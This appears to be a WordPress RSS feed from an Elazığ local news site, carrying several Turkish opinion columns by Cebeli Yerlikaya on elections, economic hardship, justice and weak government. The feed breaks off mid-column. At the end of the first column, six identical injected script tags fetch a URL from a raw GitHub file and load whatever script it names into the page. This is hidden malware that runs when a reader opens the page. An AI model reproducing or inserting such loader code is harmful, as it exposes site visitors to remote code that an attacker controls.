<p>Siyasî ikballeri için ülkenin tüm ikballerini kendi ve siyasi ideolojileri için ikmal edenleri gördük seneler boyunca ve her defasında. Ülke kaynakları ganimet, seçmen ise bu yola gidilen bir sömürü aracı olarak görüldü. Din üzerinden, ideolojiler üzerinden, dil ve ırk üzerinden farklı söylemlerle ayrıştırmacı politikalar güdüldü. Toplumun hassas noktaları kaşındı bu ikbal uğruna, toplum menfaatleri hiçe sayılarak. Bu tarz siyasetlere aldanan toplum kesimleri hep kaybeden, hep aldanan oldu geçmişten günümüze. Bir tür istismar siyaseti devreye sokuldu her seçim döneminde. Tuttu mu, tuttu evet? Seçmen her seferinde hapı yuttu. Siyasetçinin biri ne demişti bir konuşmasında, ”Bu şekilde giderse, bir gün dövülecek diz bile bulamayacaksınız.”</p>
<p>Her seçim sonrası yanlış seçimlerin kurbanı oldu seçmen ve toplum. Her defasında dizini dövdü büyük bir pişmanlık içinde.</p>
<p>Oysa seçimi yapan, toplumun  kendisi değil miydi? O halde bu pişmanlık neyin nesiydi?</p>
<p>Bu sonucun tekrarında birçok faktör etkendi. Bunları, toplumun eğitimden, bilgiden, bilimden ve kültürden uzak ve yoksun olma hali olarak izah edebiliriz. Bilinçsiz bir seçimin bilinir sonuçlarını yaşadı kısacası toplum. Siyaset, toplum idealini değil, kendi ideolojilerini tatbik edecek siyasi figürler sundu hep toplum önüne. Seçmen de kendisine dayatılan bu durumu hiç koşulsuz kabul edip, siyasetin tam da istediği  kişiliklere oy verdi. Kazanan hep siyaset oldu, kaybeden ise seçmen ve toplum.</p>
<p>Ülke genelinde olduğu gibi Elazığ gündeminde de seçime günler kala Milletvekili adayı listelerinin açıklanmasıyla ortalık toz duman. Son yılların belki de yüzyılın en önemli, en kritik seçimlerinden biri olacak bu seçimde hesaplar alt üst. Listeye hak edip alınanlardan çok hak edip alınmayanlar da bir hayli çoğunlukta. Adamı olanın, iyi kulis yapanın, para basanın listeleri garantilediği bir siyasi ortamda kaliteli ve liyakatli adayların kendine yer bulmalarını ummak saflık olur. Parti yöneticilerinin tepeden inme bir anlayışla aday belirleme stratejileri, en başta iktidar partisi olmak üzere birçok  partiyi bu seçimde hayal kırıklığına uğratacak. Yanlış aday seçimleri tüm hesapları alt üst edecek. Bu seçimle birlikte tüm partiler şapkayı önüne koyup, kartları yeniden karmak zorunda kalacaklar. Kimileri atı alıp Üsküdarı geçerken, kimileri başını ve dizini dövmekle yetinecekler. Siyasî partiler kadar seçmenin de artık liyakate, doğru adaylara, bilime, ilime, bilgiye ve değişen dünya şartlarına ayak uydurabilen doğru aday profillerine şans vermesi gerekiyor. Yoksa geçmişte olduğu gibi, tarih bazı partileri amblem partisi haline getirmekle kalmayacak, onlarla birlikte  parlayan yıldızları da birer birer söndürecektir. Süni listelerde kendilerine yer bulamayan aday adayları ise birer ikişer bağımsız adaylıklarını ilan ederek, öyle kolay lokma olmadıklarını, pes etmeyeceklerini, tüm haksızlıklara ve de parti içi ayak oyunlarına  boyun eğmeyip,  son çare olarak haklarını sandıkta arama yolunu tercih ettiler. Seçmenin tercihlerini ve iradesini yok sayan bu anlayış elbet bir karşılık bulacaktır sandıkta. Hak eden tüm adaylara şimdiden muvaffakiyetler diliyorum. Bu seçimde hem Elazığ hem de Türkiye genelinde bol sürprizle karşılaşacağımız  kesin. Toplum çıkarlarını ve önceliklerini göz ardı eden her türlü siyasi anlayış, siyaset çöplüğünde şimdiden kendisine yer beğensin. Ben seçtim, ben aday gösterdim, oldu bitti anlayışı ile bu iş yürümez. Duvara toslayacaksınız haberiniz olsun.<script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>İRÂDESİZ İDARE</title>
		<link>https://elazigdagucluhabergazetesi.com/2022/04/10/iradesiz-idare/</link>
		
		<dc:creator><![CDATA[CEBELİ YERLİKAYA]]></dc:creator>
		<pubDate>Sun, 10 Apr 2022 17:21:42 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://elazigdagucluhabergazetesi.com/?p=4788</guid>

					<description><![CDATA[Bu ramazan,diğerlerine göre çok ama çok buruk geçiyor.Sebep mi?Neyi sayalım,hangisinden başlayalım bilmiyorum.O kadar çok olumsuzluk  var ki,o kadar çok dip yaptı ki her şey,önem sırasını belirlemekte zorlanıyor haliyle insan.Çok değil,bir..]]></description>
										<content:encoded><![CDATA[<figure id="attachment_913" aria-describedby="caption-attachment-913" style="width: 150px" class="wp-caption alignleft"><img loading="lazy" decoding="async" src="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2021/06/cebeli-abi-150x150.jpg" width="150" height="150" data-srcset="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2021/06/cebeli-abi.jpg 2x" alt="CEBELİ YERLİKAYA" class="avatar avatar-150 wp-user-avatar wp-user-avatar-150 photo" /><figcaption id="caption-attachment-913" class="wp-caption-text">CEBELİ YERLİKAYA</figcaption></figure>
<p>Bu ramazan,diğerlerine göre çok ama çok buruk geçiyor.Sebep mi?Neyi sayalım,hangisinden başlayalım bilmiyorum.O kadar çok olumsuzluk  var ki,o kadar çok dip yaptı ki her şey,önem sırasını belirlemekte zorlanıyor haliyle insan.Çok değil,bir miktar huzura,refaha ve gülmeye hasret kaldı insanlar.Her gün bir önceki günü arıyor oluyoruz.Oysa birkaç yıl öncesine kadar bile ramazan ayları bolluk, bereket ve huzur içerisinde ifa edebiliyordu.Hem maddi,hem de manevi anlamda çok olmasa da büyük rahatlık içerisindeydi tüm toplum.Toplu şekilde iftarlar kuruluyor,insanlar ihtiyaç duymasa da sırf bir arada olup manevi havayı teneffüs etmek babında bu iftar yemeklerine icabet ediyorlardı.Gel gelelim bu güne!</p>
<p>Büyük bir huzursuzluk hali hakim maalesef toplumda.Ardı arkası kesilmeyen zam bombardımanının ateşi yakıyor bütün kesimleri.Değil her gün ziyafet sofrası kurmak,bir kuru ekmeğin bile zor alındığı bir süreçten geçiyoruz.Neye el uzatsan ateş pahası.Pahalılık,yüksek enflasyon ve ekonomik dar boğaz hem eli,hem cebi hem de tüm toplumu içten içe kavuruyor.Fırsatçılar var evet.En ufak söylentiyi zam bahanesi yapan karakter yoksunu tüccarlar da var.Fakat bunlar varken bir tek şey eksik veya yok sanırım.O da yöneten veya yönetmeye talip olan idarecilerin gerçek iradesi.Buna karşın,ikiyüzlülük fazlasıyla var.Toplum hiçbir dönemde böyle buhran yaşamamış,devlet ise hiç bu kadar acze uğramamıştı.Düşünsenize her seferinde kaybeden veya zarara uğrayan hep toplum kesimleri oluyor.Oysa en büyük fedakarlık sahibi yine aynı toplum.Peki işin öteki tarafında olan,rantı elinde bulunduran ve her şekilde kazanan büyük patronlar ve market zincirleri neden hep kazanan veya kâr eden taraf oluyor?Hiç düşündünüz mü?</p>
<p>Bunlar devletten veya halktan daha mı büyük veya daha mı güçlü? Elbette değil.Elbette hepsinin bir sıkımlık canı var devletin gücünün yanında.Peki sorun ne?</p>
<p>Sorun;devlet makamını işgal edenlerin sorumsuz davranması.Yapıyormuş,çalışıyormuş gibi görünmesi.Yahut biz elimizden geleni yapıyoruz, sorunun kaynağı dünya piyasaları gibi bir algı yaratması.En net örnek;savaşan iki devletten,buğday ve ayçiçeği yağı almamız veya bir ilimiz büyüklüğünde olup 12 yıldır savaş halinde olan bir devletçikten  soğan ve patates alıyor olmamız.Çok acınası ve gülünç bir durum değil mi?Toprağımız mı yok,suyumuz mu kalmadı,enerji kaynaklarımız mı bitti yahut insan gücümüz mü yok?Çok şükür öyle özel bir coğrafyamız var ki,yok yok.Peki bunca var içinde,neden yoksullukta Afrika ligiyle yarışır hale geldi bu güzelim ülke ve halkı?</p>
<p>Dedim ya; tek bir şey yok olmayan,o da yönetiyor sandığımız ama yönetemeyen bir anlayış var devlet idaresini meşgul eden.İdare;kelime anlamıyla yeterli kılma,güçlü kılma,sağlama işidir.Yettiremiyorsunuz beyler,idare edemiyorsunuz.Çünkü irâdesizsiniz.Herkese bol sabırlar diliyor,Ramazan ayınızın hayırlar getirmesini temenni ediyorum.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>SABRIN SONU FACİA</title>
		<link>https://elazigdagucluhabergazetesi.com/2021/11/22/sabrin-sonu-facia/</link>
		
		<dc:creator><![CDATA[CEBELİ YERLİKAYA]]></dc:creator>
		<pubDate>Mon, 22 Nov 2021 12:10:42 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://elazigdagucluhabergazetesi.com/?p=3771</guid>

					<description><![CDATA[Ülkemiz gündemi o kadar hızlı değişiyor ve gelişiyor ki,ne oldu ne zaman oldu,kim nasıl yaptı sorularını sormaya fırsat bulamadan diğer bir gündem oturuveriyor kafamızın orta yerine.Işık hızında ilerleyen bir gündemle..]]></description>
										<content:encoded><![CDATA[<figure id="attachment_913" aria-describedby="caption-attachment-913" style="width: 150px" class="wp-caption alignleft"><img loading="lazy" decoding="async" src="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2021/06/cebeli-abi-150x150.jpg" width="150" height="150" data-srcset="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2021/06/cebeli-abi.jpg 2x" alt="CEBELİ YERLİKAYA" class="avatar avatar-150 wp-user-avatar wp-user-avatar-150 photo" /><figcaption id="caption-attachment-913" class="wp-caption-text">CEBELİ YERLİKAYA</figcaption></figure>
<p>Ülkemiz gündemi o kadar hızlı değişiyor ve gelişiyor ki,ne oldu ne zaman oldu,kim nasıl yaptı sorularını sormaya fırsat bulamadan diğer bir gündem oturuveriyor kafamızın orta yerine.Işık hızında ilerleyen bir gündemle kısa süreli hafızamızın kurbanı oluyor tüm yaşananlar.Bizlere atılan yağlı kazıkların,çalınanların,yalanların çok kısa bir süre içerisinde unutulduğunu görebiliyor,hatta çoğu şeyi hatırlamayabiliyoruz bile.Eğer gerçekten böyle bir alışkanlığı huy edinmemiş,yapılan her yanlışı büyük harflerle hafızamızın bir yerine not edebilseydik,dizlerimizi daha az dövecek,gece başımızı yastığa daha huzurlu bir şekilde koyabilecektik.Ve ne koyun can derdinde ne de kasap yağ derdinde olmayacaktı.Millet öyle bir hale geldi ki; her günü sinir harbi,her günü aksiyon,her günü zam yağmurları ile geçiriyor çok şükür.Daha önceki yazılarımda da belirtmiştim,insanların kendi seçimlerinin sonuçlarını yaşadığını.Üstelik çoğu kesim hala bu zamların,yükselen faiz ve borsa değerlerinin yönetenlerin iradesi dışında gerçekleştiğini yani iktidarın bunda,ekonomik buhranda bir suçu olmadığı iddiasında.Hal böyle ise bizi kim yönetiyor o zaman,sorusu akla geliyor?Yok eğer yönetenler belli ise suçlu neden başka yerlerde aranıyor?İyi ise ben yaptım,kötü ise başkası yaptı gibi kurnaz bir anlayışın sıkça tekrarlandığı günlerden geçiyoruz.Her nedense ülkeyi yönetenler,ekonomideki kötü gidişin önünü kesemiyor yahut böyle bir şey olmadığını iddia ediyor.Doğru ya,böyle bir şey yok.Şekeri,çayı,yağı,unu,elektrik,su,doğalgaz,ev kirası vs&#8230; sudan ucuz fiyata kullanıyoruz.Gerçi artık bu tabir de geçerliliğini yitirdi.Su da artık ucuz değil ya diğer her şey gibi.Öyle bir dönemden geçiyoruz ki deyimlerimiz bile gerçekliğini yitirdi.Tam tersine döndü.Ülkenin inşaası muhakkak ki üretimden geçer.İthalatçı anlayışla bu işin düzelmeyeceği su götürmez bir gerçek.Günü kurtarmakla da bu iş yürümez.Artık ülkeyi yönetenler açıkça çıkıp ben yönetemiyorum,elime yüzüme bulaştırdım diyebilmeli.Her seferinde suni gündemler yaratıp,su yüzüne çıkan gerçekleri halı altına süpürmek de işe yaramıyor artık.Herkes her tarafın kirlendiğini,tozdan,pislikten nefes alamayacak duruma geldiğini net olarak ayırt edebiliyor .Kırılan cam bir vazonun içindeki taze gülleri andırıyor ülkem.Su veriliyor vazo kırık olduğu için su sızdırıyor.Ülkemin gülleri günbegün kuruyor.Vazoyu değiştirmek yerine yara bandıyla yamanmaya çalışılıyor çatlaklar nafile.Su kaybediyor,kan kaybediyor ülkem.İktidar artık ciddi ciddi bu işe yani vatandaşın ekonomik refahına odaklanmalı.Vatandaşın hem kesesi hem de aklı rahatlatılmalı. Ekonomik nedenli depresyonlar,intiharlar,iflaslar,boşanmalar ve şiddet olayları hızla artıyor.Toplum orta yerinden çatırdıyor.Bu gidişle sabrın sonu korkarım büyük bir facia olacak.Herkese mutlu yarınlar dilerim.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>DOĞMAYAN ADALET DOYURMAYAN ADALET</title>
		<link>https://elazigdagucluhabergazetesi.com/2021/11/08/dogmayan-adalet-doyurmayan-adalet/</link>
		
		<dc:creator><![CDATA[CEBELİ YERLİKAYA]]></dc:creator>
		<pubDate>Mon, 08 Nov 2021 18:35:23 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://elazigdagucluhabergazetesi.com/?p=3576</guid>

					<description><![CDATA[Sürekli değişen,deniz ortasında rüzgâra kapılıp bir o tarafa, bir bu tarafa sürüklenen sandala benziyor hayatlarımız.Çekilen her kürek,biraz daha yoruyor belki de kıyıya varmaya olan inancımızı, biraz daha çalıp gidiyor bizden.Kıyının..]]></description>
										<content:encoded><![CDATA[<figure id="attachment_913" aria-describedby="caption-attachment-913" style="width: 150px" class="wp-caption alignleft"><img loading="lazy" decoding="async" src="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2021/06/cebeli-abi-150x150.jpg" width="150" height="150" data-srcset="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2021/06/cebeli-abi.jpg 2x" alt="CEBELİ YERLİKAYA" class="avatar avatar-150 wp-user-avatar wp-user-avatar-150 photo" /><figcaption id="caption-attachment-913" class="wp-caption-text">CEBELİ YERLİKAYA</figcaption></figure>
<p>Sürekli değişen,deniz ortasında rüzgâra kapılıp bir o tarafa, bir bu tarafa sürüklenen sandala benziyor<br />
hayatlarımız.Çekilen her kürek,biraz daha yoruyor belki de kıyıya varmaya olan inancımızı, biraz daha<br />
çalıp gidiyor bizden.Kıyının uzak olmasını daha uzak kılan etmenler var üstelik.Sis bir yandan ,fırtına<br />
bir yandan,hakeza varsan da ne ile karşılaşacağını bilmemek öte yandan daha çok ürkütüyor insanı.Bir<br />
de alabora olup derinlikleri boyladığını düşünmek,onu düşünmek bile tüm bunların hepsini hükümsüz<br />
kılıyor.Biraz sinema filminden çıkmış macera sahnelerini anımsatsa da tam da böyle bir şeydir hayatla<br />
olan kavgamız.Bu;bir iki kişinin değil üstelik,milyarların her gün yatıp kalktığı,gördüğü kötü bir<br />
rüya.Rüya olsa iyi ya!Gerçeğin ta kendisi.<br />
“Ekmek herkese yetecekti aslında.Tarlaya karga dadandı,ambara fare,fırına hırsız,memlekete harami-<br />
geldikleri gibi gitmediler,kimi itini bıraktı,kimi bitini kimi de pi..’ni.. “ diyordu Neyzen Tevfik tam da bu<br />
günleri anlatıp tasvir eder gibi.Aslında bu kavga Ademoğulları ile başladı ve onlarla devam ediyor.Yani<br />
yeni değil ,bitecek gibi de değil.Dünya malına olan tamah,insanı insan olmanın ötesinde farklı bir<br />
psikolojiye taşıyor maalesef .Hayvani dürtülerine,bitmez arzu ve isteklerine,hırslarına kul köle<br />
kılıyor.Hal böyle olunca;haramın,hilenin,makam hırsının,kişisel hırs ve egoların önü arkası<br />
kesilmiyor.Her şeye sahip olma,her şeyi elde etme,diğerini acımasızca alt etme güdüsü ön plana<br />
çıkıyor.Bu dürtülerle hareket eden insanoğlundan geriye,yoksulluk,kan ,gözyaşı,sefalet ve adaletsiz<br />
bir bir tablo kalıyor.Bir avuç insanın hükmettiği milyarların hegemonyasının sonuçlarına şahit<br />
oluyoruz bu tabloda.Oysa o bir avuç insan milyarlarca insandan daha güçlü değil.Bu da bize ne kadar<br />
tuhaf bir şeyin içinde olduğumuzu,o bir avuç insanın yarattığı korku ikliminde ne denli zavallı bir<br />
durumu düştüğümüzü ifade ediyor.İstense; bu milyarlarca insan, bu bir avuç insanı üfleyerek yok<br />
eder.Ama burada yaratılan psikolojik algının,öğretilmiş çaresizliğin tuhaf sonuçlarında boğuluyor<br />
insanlar.Hakkı olanı,payına düşeni güçlü olana eliyle servis eder gibi sunuyor önüne.Bir çiftçinin<br />
tarlada ürettiği bir mal kendisine misli katlarla satılıyor yine.Bir toplumun kendi eliyle yukarıya<br />
taşıdığı yöneticiler daha çok kazanıyor,daha çok doyuyor.Toplumlara ne düşüyor peki?<br />
Azlık,açlık,yokluk,sefalet,şükür ve sabretmek.<br />
Peki neden hep toplumlar bu duruma mahküm,neden onlar yani o bir avuç zengin değil az alması,<br />
şükretmesi gerekenler?Hiç düşündünüz mü?<br />
Hiç düşünmüyor,düşünülmüyor olacak ki;hep düşen,yerlerde sürünen,hayat pahalılığına,yalana,azlığa<br />
mahküm edilen hep bizler oluyoruz.Pascal der ki:Kuvvetsiz adalet aciz,adaletsiz kuvvet de<br />
zalimdir.Zalimlerin elinde olan adaletten başka ne beklenebilir ki!<br />
Başka bir bakışla Emerson der ki:İnsanlar ancak adaletle doyurulur.Evet,gerçek adalet hakim<br />
kılınmadan insanların gerçek mana da doyduklarını,huzurlu olduklarını söylemek asla mümkün<br />
değildir.Adaleti sağlayacak olan da yine biz insanların,toplumların gerçekçi fikirlerinden,doğru<br />
seçimlerinden geçtiğini unutmamak gerek.Gerçi adaletin doğmadığı bir yerde, doyurmasını beklemek<br />
de boş bir beklentidir ya!<br />
Bu beklentiyi gerçeğe çevirecek,daha inançlı,daha kararlı<br />
doğru adımlarla,doğru kararlarla daha aydınlık yarınlara.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>İKTİDARSIZ İKTİDARLAR</title>
		<link>https://elazigdagucluhabergazetesi.com/2021/10/24/iktidarsiz-iktidarlar/</link>
		
		<dc:creator><![CDATA[CEBELİ YERLİKAYA]]></dc:creator>
		<pubDate>Sun, 24 Oct 2021 17:23:05 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://elazigdagucluhabergazetesi.com/?p=3433</guid>

					<description><![CDATA[Muktedir olmak yani iktidar sahibi olmak; amaca ulaşıp bir şeye,bir yere,bir makama sahip olmayı,onu elde etmeyi ifade eder. İktidarsızlık ise; bir nevi kısırlıktır. Üretememeyi, yapamamayı, becerememeyi, üstesinden gelememeyi ifade eden..]]></description>
										<content:encoded><![CDATA[<figure id="attachment_913" aria-describedby="caption-attachment-913" style="width: 150px" class="wp-caption alignleft"><img loading="lazy" decoding="async" src="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2021/06/cebeli-abi-150x150.jpg" width="150" height="150" data-srcset="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2021/06/cebeli-abi.jpg 2x" alt="CEBELİ YERLİKAYA" class="avatar avatar-150 wp-user-avatar wp-user-avatar-150 photo" /><figcaption id="caption-attachment-913" class="wp-caption-text">CEBELİ YERLİKAYA</figcaption></figure>
<p>Muktedir olmak yani iktidar sahibi olmak; amaca ulaşıp bir şeye,bir yere,bir makama sahip olmayı,onu elde etmeyi ifade eder. İktidarsızlık ise; bir nevi kısırlıktır. Üretememeyi, yapamamayı, becerememeyi, üstesinden gelememeyi ifade eden bir kavramdır.<br />
Hepimiz bir şekilde bir şeylerin sahibi olmayı hedefleriz hayat boyunca. Bu istenilen şeylere ulaşmak için bir çaba,elde ettikten sonra da bu amacın gerekleri neyse onu yerine getirmenin gayretini gösteririz. Burada önemli olan rakipleri alt etmek güdüsü mü yoksa hedefe ulaştıktan sonra var olan ve karşılaşılan veya karşılaşılaşacak olan sorunları çözme gayretini gösterme arzusu mu bu önemli. Birincisini arzu eden anlayış kişisel hesaplarla hareket eden anlayıştır. İkinci anlayış şekli ise çaba harcama,düzeltme,sorunları çözme ve fayda sağlamayı amaç edinmiş anlayıştır. Bir işe talipseniz,onun zorluklarına,karşılaşacağınız problemlere de hazırlıklı ve gayretlisiniz demektir. Aksi takdirde o işe soyunmanın bir anlamı olmadığı gibi gereksiz sorumluluk alma da bir nevi intihardır. Türk siyasetinde yıllarca çok iktidar gördük. Çok hükümetler gelip geçti bu arenadan. Parti kuruluşundan tutun,muhalefet ve iktidara giden yolda nice iddialı söylemler ve uçuk vaatler duyduk. Her siyaset adamı kendi kitlesi ve ideolojisi üzerinden dem vurdu, bunun üzerinden vermeye çalıştı mesajlarını. Kimi ev,kimi araba,kimi sıfır enflasyon, kimi bedava enerji ve yakıt,kimi ise bilmem yüzde kaç zam vaadinde bulundu tüm çalışan kesimlere. Bir de ideolojik söylemler vardı. Sağcı, solcu,milliyetçi, muhafazakar, demokrat, lâik, anti laik, Cumhuriyetçi,dinci birçok görüş savunuldu partiler tarafından.<br />
Bazıları keskin hatlarla savunsa da bu görüşleri,bir kısmı ortada kalmayı,birkaç kesime aynı anda göz kırpmayı ihmal etmediler.<br />
Bu yüzden toplum arasında zamanla birçok kamplaşmalar,fikir ayrılıkları,çatışma alanları doğdu.<br />
Her parti ve lider en iyinin kendisi olduğu söylemini,tek kurtarıcı oldukları fikrini dile getirdiler ekranlarda ve meydanlarda.<br />
Tabi bu söylemler siyasetin doğasında var olması gereken söylemler.<br />
Doğal olarak her bir adayın ve liderin bir iddiası,bir söylemi,bir programı veya vaatleri olmalı.<br />
Tabi ki bu vaatlerin ve programların bir gerçekliği ve bir sağlam zemini de olmalı.<br />
Cumhuriyet dönemi sonrası ikinci dünya savaşı yıllarını bir kenara ayırırsak,1950’li yıllardan itibaren başa gelen hemen hemen bütün iktidarlar birçok vaatlerle çıktılar meydanlara. Bu yıllardan günüme yaklaşık elli hükümet gelip geçti.<br />
Bir şeyler yapıldı evet ama geldiğimiz noktada bunlar devede kulak misali kaldı.<br />
Bu yetmiş yıllık süreçte elli hükümet kuruldu. Yani her bir buçuk yıla bir hükümet denk geliyor. Peki bunca yıla ve hükümete rağmen ne değişti? Sanayi mi, tarım mı, hayvancılık mı, denizcilik mi?<br />
Yeni dev fabrikalar mı kurduk, işsizliği mi bitirdik, yeni markalar mı yarattık, enflasyonu mu sıfırladık, milli geliri mi yükselttik, Allah aşkına söyleyin ne yaptık?<br />
Söyleyeyim isterseniz! Bu ülke kurulurken bile onca yokluk içinde kendi uçağını yapabilen bir iki ülkeden biriydi. Türk lirası tam tersine yabancı para birimlerinin birkaç katı değerliydi. Tarım ve hayvancılıkta dünyada kendi kendine yetebilen ve hatta ihraç eden bir iki ülkeden biriydi. Enflasyon neredeyse sıfırlı değerlerde,Üniversitelerimiz dünya sıralamasında ilk beşlerdeydi. Devletin öz malı olan milli sanayi kuruluşlarımız vardı. Kağıt, şeker, çimento, tekel fabrikalarımız, enerji tesislerimiz, limanlarımız ve nice sayamayacağım halkın öz malı kurum ve kuruluşlarımız vardı.<br />
Bu noktada eğer milli gelirin üçte biri faize, işsizlik ve enflasyon almış başını gidiyorsa, kağıttan şekere, tütünden altına, soğandan patatese, etten samana her şey ithal ediliyorsa ve ülkenin çoğunluğu asgari ücretle inim inim inliyorsa kimse bana boş palavra sıkmasın. Değerler belli,gidenler belli kalanlar belli. Burada en az İktidarlar kadar muhalefet partileri de suçlu. Bu ülkede ne muhalefet işinin hakkını verebildi ne de iktidarlar.Var olan kaynaklarımız göz göre göre hoyratça tüketildi. Yani satıldı ya da peşkeş çekildi.<br />
Gelmiş geçmiş bunca iktidar aslında bize bir İktidar nasıl oluru değil, nasıl İktidarsiz olunurun dersini verdi.İktidarlar iktidarsızlığın,yani beceriksizliğin,kısırlığın,üretememenin,yönetememenin en güzel örneklerini sundular bize.<br />
Bu ülke vatandaşının hiçbir dönemde yüzü tam olarak gülmedi.”İktidarlı iktidarlar” istiyoruz artık.<br />
Bıktık “İktidarsiz İktidarlardan.”<br />
Müreffeh,yüzü güleç insanların dolup taştığı aydınlık yarınlara&#8230;.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>STABİL DEĞİL KOMALIK</title>
		<link>https://elazigdagucluhabergazetesi.com/2021/10/17/stabil-degil-komalik/</link>
		
		<dc:creator><![CDATA[CEBELİ YERLİKAYA]]></dc:creator>
		<pubDate>Sun, 17 Oct 2021 18:05:08 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://elazigdagucluhabergazetesi.com/?p=3406</guid>

					<description><![CDATA[Yıl 2021 ve biz hala bazı şeyleri bırak üzerine koyarak ileri götürmeyi,geliştirmeyi;tam tersine geriye götürmeyi,köreltip yok etmeyi nasıl da becerebiliyoruz.Bu alanda üstümüze yok sanırım.Beceriksizliğin ,iş bilmezliğin,öngörüsüzlüğün net ve tipik örneğidir..]]></description>
										<content:encoded><![CDATA[<figure id="attachment_913" aria-describedby="caption-attachment-913" style="width: 150px" class="wp-caption alignleft"><img loading="lazy" decoding="async" src="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2021/06/cebeli-abi-150x150.jpg" width="150" height="150" data-srcset="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2021/06/cebeli-abi.jpg 2x" alt="CEBELİ YERLİKAYA" class="avatar avatar-150 wp-user-avatar wp-user-avatar-150 photo" /><figcaption id="caption-attachment-913" class="wp-caption-text">CEBELİ YERLİKAYA</figcaption></figure>
<p>Yıl 2021 ve biz hala bazı şeyleri bırak üzerine koyarak ileri götürmeyi,geliştirmeyi;tam tersine geriye götürmeyi,köreltip yok etmeyi nasıl da becerebiliyoruz.Bu alanda üstümüze yok sanırım.Beceriksizliğin ,iş bilmezliğin,öngörüsüzlüğün net ve tipik örneğidir bu aslında.Ne çalışmayı biliyoruz ne de hakkıyla çalıştırmayı.Bu bir nevi tembelliğin ve hazırcılığın,rahata meyil etmenin bir neticesi kısaca.İçimizdeki düşünce tarzının,tembel anlayış fikrinin sahaya ve fiillere yansıması .Bir yerde eğer her gittiğinizde aynı şeyler aynı yerde duruyorsa,aklınıza ilk gelecek şey orada yeteri bir çalışma anlayışının olmadığı,haliyle çalışılmadığı düşüncesi doğar doğal olarak.Kendimce iyi bir gözlemciyimdir.Bildiğim veya gittiğim her yeri en ince ayrıntısına kadar inceler ve irdeler, kafamda o yer ile ilgili bir taslak oluştururum.Ve ondan sonraki her gidişimde, aynı titizlikle aynı şeyi tekrar yaparım.Çünkü aradan bir zaman dilimi geçmiştir ve doğal olarak bazı şeylerin değişime uğramış olma ihtimalini göze alır, tekrar bir değerlendirme ihtimali doğacağı fikri ile hareket eder,tekrardan irdeleme işine yönelirim.Bazı yerlerde değişimin gözle görülür bir hızla ilerlediğine şahitlik eder,bazılarında ise stabil durum beni hayal kırıklığına sevk eder.İşte bu tam da bu tanıma yani stabil durum örneğine en uygun şehirlerden biridir Elazığ.Tıbbi bir terim olsa da duruma uygun bir kelime olduğu kesindir.Yıllardır gider gelirim bu şehire.Yol boyunca gördüğüm diğer şehirlerle kıyaslar,her seferinde hayıflanır her seferinde hayal kırıklığına uğrarım.Hatta çoğu kez,” Bazı şeyler yapılmasaydı da eskisi gibi kalsaydı”dediğim de çok olmuştur.En azından öz korunmuş olurdu.Elazığ;doğu ile batı,kuzey ile güney hattının kesişme noktasında olması nedeniyle stratejik önemi bir hayli yüksek bir şehirdir.Hakeza sahip olduğu doğal güzellikler,yeraltı zenginlikleri,zengin kültür birikimi ve insanın gönül güzelliği müstesna bir yerde olan bir şehirdir aynı zamanda.Gelin görün ki tüm bunlara rağmen bir arpa boyu yol kat edememiştir tüm bunlara rağmen.Bırakın yol almayı var olan değerlere de sahip çıkılmamıştır.1937 yılının 17 Kasım günü Doğu gezisine çıkan Mustafa Kemal Atatürk,Elazığ Gölcük gölü kenarından trenle geçtiği esnada gölü görünce trenin durdurulmasını emreder.Tren durur ve Mustafa Kemal Atatürk yanındaki heyetle Göl Kıyısına inerek büyük bir hayranlıkla gölü o eşsiz manzarayı izleyerek yanındakilere;”Gördüğünüz memleketler arasında en güzel yer neresidir?”Diye sorar.Çoğunluk İsveç diye cevap verir.Bu cevaplara karşı çıkan Mustafa Kemal Atatürk;”Türkiye en güzel memlekettir.”Der.Sonra gölün hemen yanında yükselen dağın ismini sorar,yanındakiler “Hazar Baba Dağı” derler.Bunun üzerine Mustafa Kemal Atatürk gölün isminin artık “Hazar Gölü&#8221; olduğunu,buranın eşsiz bir yer olduğunu,buraya Yalova gibi modern bir şehir kuracağını söyler.Ve bunca zaman burayı görememiş olmanın pişmanlığını dile getirir yanındakilere.Yanındakilere talimat vererek 